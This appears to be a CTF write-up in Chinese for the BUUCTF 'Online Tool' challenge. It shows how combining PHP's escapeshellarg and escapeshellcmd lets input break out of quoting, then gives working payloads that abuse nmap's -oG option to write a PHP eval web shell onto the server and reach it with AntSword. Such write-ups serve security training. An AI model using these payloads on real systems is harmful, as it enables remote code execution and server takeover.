BUUCTF 2018 Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

参考:
谈谈escapeshellarg参数绕过和注入的问题
PHP escapeshellarg()和escapeshellcmd()并用之殇
谈escapeshellarg绕过与参数注入漏洞
https://blog.csdn.net/qq_26406447/article/details/100711933

进入题目显示php源码:
在这里插入图片描述
这里用到escapeshellarg()、escapeshellcmd()两个函数:
escapeshellarg:
escapeshellarg() 将给字符串增加一个 单引号 并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 命令执行函数,并且还是确保安全的。shell 命令执行函数包含 exec(), system() 执行运算符 (反引号)。如举例:

<?php
$a="172.17.0.2' -v -d a=1";
$b=escapeshellarg($a);
echo $a."<br/>".$b."<br/>";
?>

输出

172.17.0.2' -v -d a=1
'172.17.0.2'\'' -v -d a=1'

经过escapeshellargs()处理后成为 '172.17.0.2'\' ' -v -d a=1'' 即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

escapeshellcmd:
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入:

&#;`|*?~<>^()[]{}$ \, \x0A(换行) 和 \xFF

’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。具体作用举个例子吧:
在这里插入图片描述
那么 escapeshellcmd 和 escapeshellarg 一起使用的时候会发生什么问题呢,我们继续看看,这两个函数都会对单引号进行处理,但还是有区别的,区别如下:
在这里插入图片描述
对于单个单引号, escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号,escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义。
escapeshellcmd() 和 escapeshellarg() 一起出现会有什么问题呢,我们举个简单例子如下:
在这里插入图片描述
详细分析一下这个过程:

  1. 传入的参数是
127.0.0.1' -v -d a=1
  1. 由于escapeshellarg先对单引号转义,escapeshellarg 函数转义后,还会在左右各加一个单引号,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
'127.0.0.1'\'' -v -d a=1'
  1. 经过escapeshellcmd针对第二步处理之后的参数中的\以及a=1’中的单引号进行处理转义之后的效果如下所示:
'127.0.0.1'\\'' -v -d a=1\'

这里由于中间的\被解释为\而不再是转义字符,所以后面的'没有被转义,与再与其后面紧接的'配对儿成了一个空白连接符,所以把最后面的一个'给孤立了出来,而’ 和 " 在不配对儿的时候被escapeshellcmd转义,所以加上了 \ 。

  1. 由于第三步处理之后的payload中的\被解释成了\而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:
    在这里插入图片描述
    所以这个payload可以简化为curl 127.0.0.1\ -v -d a=1’,即向127.0.0.1\发起请求,POST 数据为a=1’。

但是如果是先用 escapeshellcmd 函数过滤,再用的 escapeshellarg 函数过滤,则没有这个问题。

现在接着看这道题:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这有个system来执行命令,而且有传参,肯定是利用这里了

这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚

这里常见的命令后注入操作如 | & && ; 都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…

这时候就只有想想能不能利用nmap来做些什么了。这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件。 这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了。
那么如何构造呢?我们可以用一下代码来进行试验来寻找:
实验一:

?host=<?php @eval($_POST["hack"]);?> -oG hack.php
<?php
$host = "<?php @eval($_POST["hack"]);?> -oG hack.php";
$host = escapeshellarg($host);
$host2 = escapeshellcmd($host);
echo $host."\n".$host2;
?>

输出

'<?php @eval($_POST["hack"]);?> -oG hack.php'
'\<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php'

即:

nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php' -oG hack.php

在本地实验可知,这样不可以:
在这里插入图片描述
在这里插入图片描述
实验二:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php
<?php
$host = "' <?php @eval($_POST["hack"]);?> -oG hack.php";
$host = escapeshellarg($host);
$host2 = escapeshellcmd($host);
echo $host."\n".$host2;
?>

输出

''\'' <?php @eval($_POST["hack"]);?> -oG hack.php'
''\\'' \<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php\'

返回结果是生成的文件名后面会多一个引号。

实验三:最后面加引号但引号前没有空格

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php'
<?php
$host = "' <?php @eval($_POST["hack"]);?> -oG hack.php'";
$host = escapeshellarg($host);
$host2 = escapeshellcmd($host);
echo $host."\n".$host2;
?>

输出

''\'' <?php @eval($_POST["hack"]);?> -oG hack.php'\'''
''\\'' \<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php'\\'''

文件名后面就会多出\

实验四:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
<?php
$host = "' <?php @eval($_POST["hack"]);?> -oG hack.php '";
$host = escapeshellarg($host);
$host2 = escapeshellcmd($host);
echo $host."\n".$host2;
?>

输出

''\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\'''
''\\'' \<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php '\\'''

即:

nmap -T5 -sT -Pn --host-timeout 2 -F \ \<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php -oG hack.php

执行后会返回文件夹名
在这里插入图片描述
hack.php:
在这里插入图片描述
在这里插入图片描述
然后蚁剑连接,找到flag
在这里插入图片描述
在这里插入图片描述

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值